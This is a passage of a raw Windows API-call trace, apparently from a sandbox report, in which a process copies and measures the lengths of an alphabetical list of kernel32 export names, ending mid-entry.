lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0053.800] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0053.800] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0053.800] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0053.800] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0053.800] lstrlenA (lpString="BACKUPREAD") returned 10 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0053.800] lstrlenA (lpString="BACKUPSEEK") returned 10 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0053.800] lstrlenA (lpString="BACKUPWRITE") returned 11 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0053.800] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0053.800] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0053.800] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0053.800] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0053.800] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0053.800] lstrcpyA (in: lpString1=0x34ea98, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0053.801] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0053.801] lstrcpyA (in: lpString1=0x34ea98, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0053.801] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0053.801] lstrcpyA (in: lpString1=0x34ea98, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0053.801] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0053.801] lstrcpyA (in: lpString1=0x34ea98, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0053.801] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0053.801] lstrcpyA (in: lpString1=0x34ea98, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0053.801] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0053.801] lstrcpyA (in: lpString1=0x34ea98, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0053.801] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0053.801] lstrcpyA (in: lpString1=0x34ea98, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0053.801] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0053.801] lstrcpyA (in: lpString1=0x34ea98, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0053.801] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0053.801] lstrcpyA (in: lpString1=0x34ea98, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0053.801] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0053.801] lstrcpyA (in: lpString1=0x34ea98, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0053.801] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0053.801] lstrcpyA (in: lpString1=0x34ea98, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0053.801] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0053.801] lstrcpyA (in: lpString1=0x34ea98, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0053.801] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0053.801] lstrcpyA (in: lpString1=0x34ea98, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0053.801] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0053.801] lstrcpyA (in: lpString1=0x34ea98, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0053.801] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0053.801] lstrcpyA (in: lpString1=0x34ea98, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0053.801] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0053.801] lstrcpyA (in: lpString1=0x34ea98, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0053.801] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0053.801] lstrcpyA (in: lpString1=0x34ea98, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0053.801] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0053.801] lstrcpyA (in: lpString1=0x34ea98, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0053.801] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0053.801] lstrcpyA (in: lpString1=0x34ea98, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0053.801] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0053.802] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0053.802] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0053.802] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0053.802] lstrlenA (lpString="BEEP") returned 4 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0053.802] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0053.802] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0053.802] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0053.802] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0053.802] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0053.802] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0053.802] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0053.802] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0053.802] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0053.802] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0053.802] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0053.802] lstrlenA (lpString="CANCELIO") returned 8 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0053.802] lstrlenA (lpString="CANCELIOEX") returned 10 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0053.802] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0053.802] lstrcpyA (in: lpString1=0x34ea98, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0053.803] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0053.803] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0053.803] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0053.803] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0053.803] lstrlenA (lpString="CHECKELEVATION") returned 14 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0053.803] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0053.803] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0053.803] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0053.803] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0053.803] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0053.803] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0053.803] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0053.803] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0053.803] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0053.803] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0053.803] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0053.803] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0053.803] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0053.803] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0053.803] lstrcpyA (in: lpString1=0x34ea98, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0053.804] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0053.804] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0053.804] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0053.804] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0053.804] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0053.804] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0053.804] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0053.804] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0053.804] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0053.804] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0053.804] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0053.804] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0053.804] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0053.804] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0053.804] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0053.804] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0053.804] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0053.804] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0053.804] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0053.804] lstrcpyA (in: lpString1=0x34ea98, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0053.805] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0053.805] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0053.805] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0053.805] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0053.805] lstrlenA (lpString="COPYCONTEXT") returned 11 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0053.805] lstrlenA (lpString="COPYFILEA") returned 9 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0053.805] lstrlenA (lpString="COPYFILEEXA") returned 11 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0053.805] lstrlenA (lpString="COPYFILEEXW") returned 11 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0053.805] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0053.805] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0053.805] lstrlenA (lpString="COPYFILEW") returned 9 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0053.805] lstrlenA (lpString="COPYLZFILE") returned 10 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0053.805] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0053.805] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0053.805] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0053.805] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0053.805] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0053.805] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0053.805] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0053.805] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0053.806] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0053.806] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0053.806] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0053.806] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0053.806] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0053.806] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0053.806] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0053.806] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0053.806] lstrlenA (lpString="CREATEEVENTA") returned 12 [0053.806] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0053.806] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0053.806] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0053.806] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0053.806] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0053.806] lstrlenA (lpString="CREATEEVENTW") returned 12 [0053.806] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0053.806] lstrlenA (lpString="CREATEFIBER") returned 11 [0053.806] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0053.806] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0053.806] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0053.806] lstrlenA (lpString="CREATEFILEA") returned 11 [0053.806] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0053.806] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0053.806] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0053.806] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0053.806] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0053.806] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0053.806] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0053.806] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0053.806] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0053.806] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0053.806] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0053.806] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0053.806] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0053.806] lstrlenA (lpString="CREATEFILEW") returned 11 [0053.806] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0053.806] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0053.807] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0053.807] lstrcpyA (in: lpString1=0x34ea98, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0053.807] 